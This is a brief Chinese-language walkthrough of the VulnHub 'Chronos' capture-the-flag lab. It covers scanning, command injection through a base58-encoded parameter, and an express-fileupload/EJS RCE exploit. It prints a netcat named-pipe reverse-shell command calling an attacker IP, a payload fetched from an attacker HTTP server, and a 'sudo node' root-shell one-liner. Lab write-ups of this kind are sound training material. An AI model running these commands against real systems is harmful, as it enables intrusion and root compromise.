vulnhub之Chronos的實踐
今天實踐的是vulnhub的Chronos鏡像,
下載地址,https://download.vulnhub.com/chronos/Chronos.ova,
用workstation無法導入,換virtualbox沒問題,
Kali攻擊機還是在workstation下,地址掃描,
sudo netdiscover -r 192.168.1.0/24,根據經驗,靶機地址是103,

繼續做端口掃描,sudo nmap -sS -sV -T5 -A -p- 192.168.1.103,

瀏覽器訪問,發現首頁的源碼里有提示,可以訪問chronos.local:8000,

本地windows和kali攻擊機都添加了chronos.local的hosts記錄,
直接訪問chronos.local:8000,發現能顯示當前系統的時間,從源碼中看到跟主頁源碼里一樣的內容,

根據經驗猜測format的內容是編碼過的,經過驗證發現是base58,

猜測這個位置有命令執行漏洞,構造一串反彈shell腳本,
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.106 4444 >/tmp/f,base58轉換,
RHuraBnsjzxcoNY4XrKRdorq3g8R8oVnXEjCNSLCRikBctUTCCjGaaEw1WztLuPayMVYS7ZBhr4j3X8w9sP7Mrm4rYrQ3UbUjt9PjyA7wa1L5Jku,
在burpsuite里抓到訪問的請求,

把base58編碼后的內容換上去,主要還要換User-Agent: Chronos,
轉發之前在kali攻擊機上開啟反彈shell監聽,nc -lvp 4444,

這就拿到了反彈shell,id看一下不是root,需要進一步提權,

在當前賬號下查到有用的信息,express-fileupload軟件和版本,

網上搜到漏洞和利用方法,
https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325,
下載漏洞利用腳本,https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py,
根據實際情況進行修改,

kali攻擊機上開啟http下載服務,python2 -m SimpleHTTPServer 80,
以及開啟反彈shell監聽,nc -lvp 8888,靶機那邊下載并執行,

反彈shell這就又過來了,id確認還不是root,但是可sudo -l,發現node程序是root權限執行的,

搜索node的本地提權方法,

提權,sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})',

確認拿到root的shell,任務完成。